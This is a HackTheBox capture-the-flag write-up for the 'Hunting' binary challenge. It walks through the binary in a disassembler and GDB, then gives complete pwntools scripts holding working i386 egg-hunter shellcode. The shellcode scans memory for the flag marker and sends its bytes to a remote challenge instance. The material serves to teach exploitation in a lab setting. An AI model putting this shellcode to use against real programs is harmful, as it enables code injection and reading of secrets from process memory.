Try   HackMD

Hunting - HackTheBox Writeup

Description

​​​​I've hidden the flag very carefully, you'll never manage to find it! Please note that the goal is to find the flag, and not to obtain a shell.

We are provided with a 32-bit ELF binary. So, for this challenge, it's not about obtaining a shell, as the challenge description states; our task is going to be finding the flag hidden inside the binary.

Now, let's analyze the binary in Binary Ninja

Pasted image 20231129203505

In the main function, the program registers a signal handler for SIGALRM and uses mmap to create a random address where it copies the flag. Then, it creates another mmap for user input, reads 60 bytes, and calls it.

Let's step through this in GDB:

Pasted image 20231130121133

I set a breakpoint at the mmap function to reach the main function where the magic happens

Pasted image 20231130121235

After stepping through, we find that the dummy flag is copied to the stack

Pasted image 20231130121344

Now, our task is clear. The flag is somewhere in the stack, and we need to prepare a shellcode to print it to stdout. After some research, I decided to use an "EGG Hunter."

What is an EGG Hunter

An EGG Hunter is a shellcode technique where the process's memory is searched for a specific marker (the "egg") to locate a secondary payload or shellcode.

In our case, we need to search for the flag's signature and print the flag to stdout.

Solution

First, let's prepare a pwntools template to write our payload. For debugging, I'll save the payload as a file to run it in GDB

Pasted image 20231130122353

This simple shellcode tests if our payload works by pushing 0x1337 to the stack and popping it into the eax register.

As seen in GDB, our shellcode is about to be called

Pasted image 20231130122140

The small assembly code executes successfully

Pasted image 20231130122538

Great, as we can see from the instruction above, the small assembly code that we've written is gonna be executed.

Pasted image 20231130122620

Okay, our two lines of assembly code have been executed, and as you can see at the top, the $eax register has the value of 0x1337. Now, let's write our payload.

Breakdown

Step 1

Before writing our payload, let's figure out what we need to do. Since we are using the Egg hunter technique, we need an 8-bytes long signature, which for this challenge, we're going to use HTB{. Additionally, since we'll be searching the VAS (Virtual Address Space), we need to check if we have permission to access a memory section while searching.

Step 2

To check the permission, we can use the syscall access(). This syscall allows us to check if we can access a specific memory address; if not, it will set our al register to 0xf2 (EFAULT).

Step 3

After we have located our flag, we need a way to print the value to stdout. To do that, we can use the syscall write().

Now let's write our egg hunter shellcode:

#!/usr/bin/env python3                                                                                                
from pwn import * # importing everything from pwntools to our namespace                                               
import sys                                                                                                            
                                                                                                                      
context.arch = "i386" # setting architecture for compiled assembly                                                    


assembly = """ 
setup:
    mov eax, 27         # sys_mincore                                                                          
    int 0x80

    mov edi, 0x7b425448         # our egg, "HTB{"
    mov edx, 0x5fffffff         # mem start

next_page:
    or dx, 0xfff

test_next:
    inc edx                     # mov one up
    pusha
    xor ecx, ecx
    mov al, 0x21                # syscall_access
    lea ebx, [edx + 0x4]        # get four byte of the memory
    int 0x80                    # syscall

    cmp al, 0xf2                # check if its EFAULT
    popa
    jz next_page                # if it is move to the next page
    cmp [edx], edi              # if not check our egg
    jnz test_next               # if our egg is not equal, move to the next address

    push 0x04                   # sys_write syscall
    pop eax
    push 0x01                   # STDOUT
    pop ebx                       
    mov ecx, edx                # bytes to print
    push 0x24                   # size of the string
    pop edx
    int 0x80  

""" # our raw assembly

payload = asm(assembly) # using pwntools asm() function to compile it into bytes


with open("buff.bin", "wb") as buff:
    buff.write(payload)
    print("payload saved!")

Okay, here is the assembly shellcode. I've written a comment on the shellcode describing what it's doing. At a high level, it sets the egg (HTB{) to the edi register, then sets VAS memory start for us to search our flag on edx. On the test_next label, it increments edx register and checks if we can access that memory section using the access syscall.

Then we compare our 4 bytes of egg to a memory section that we can access. It will go through the memory section until we find our flag. Finally, we use our write syscall to print the flag to stdout.

Let's test it out using GDB:

Pasted image 20231130124717

Our shellcode started to execute

Pasted image 20231130124749

Awesome! The flag is found, and it's set on the $ecx register from the screenshot above. Now, let's test our payload using only the binary, without GDB

Pasted image 20231130124934

Great, it seems to work fine. Now, let's modify our code so that our payload will send the shellcode to the remote instance


#!/usr/bin/env python3                                                                                                
from pwn import * # importing everything from pwntools to our namespace                                               
import sys                                                                                                            
                                                                                                                      
context.arch = "i386" # setting architecture for compiled assembly                                                    
                                                                                                                      
                                                                                                                      
assembly = """                                                                                                        
setup:                                                                                                                
    mov eax, 27                 # sys_mincore                                                                         
    int 0x80                                                                                                          
                                                                                                                      
    mov edi, 0x7b425448         # our egg, "HTB{"                                                                     
    mov edx, 0x5fffffff         # mem start

next_page:
    or dx, 0xfff

test_next:
    inc edx                     # mov one up
    pusha
    xor ecx, ecx
    mov al, 0x21                # syscall_access
    lea ebx, [edx + 0x4]        # get four bytes of the memeory
    int 0x80                    # syscall

    cmp al, 0xf2                # check if its EFAULT
    popa
    jz next_page                # if it is move to the next page
    cmp [edx], edi              # if not check our egg
    jnz test_next               # if our egg is not equal, move to the next address

    push 0x04                   # sys_write syscall
    pop eax
    push 0x01                   # STDOUT
    pop ebx                      
    mov ecx, edx                # bytes to print
    push 0x24                   # size of the string
    pop edx
    int 0x80                    # syscall

""" # our raw assembly

payload = asm(assembly) # using pwntools asm() function to compile it into bytes


if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} ip:port")
    sys.exit(1)
else:
    target = sys.argv[1]
    host = target.split(":")[0]
    port = int(target.split(":")[1])
    
    io = remote(host, port)

    io.send(payload)  # sending the payload into the process
    io.interactive()  # going into interactive mode with the process


Here is the full code. When given the HTB instance, it will send the shellcode and check if we can get the flag or not.

image_1

Awesome! The shellcode worked against the remote instance.

Reference:
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf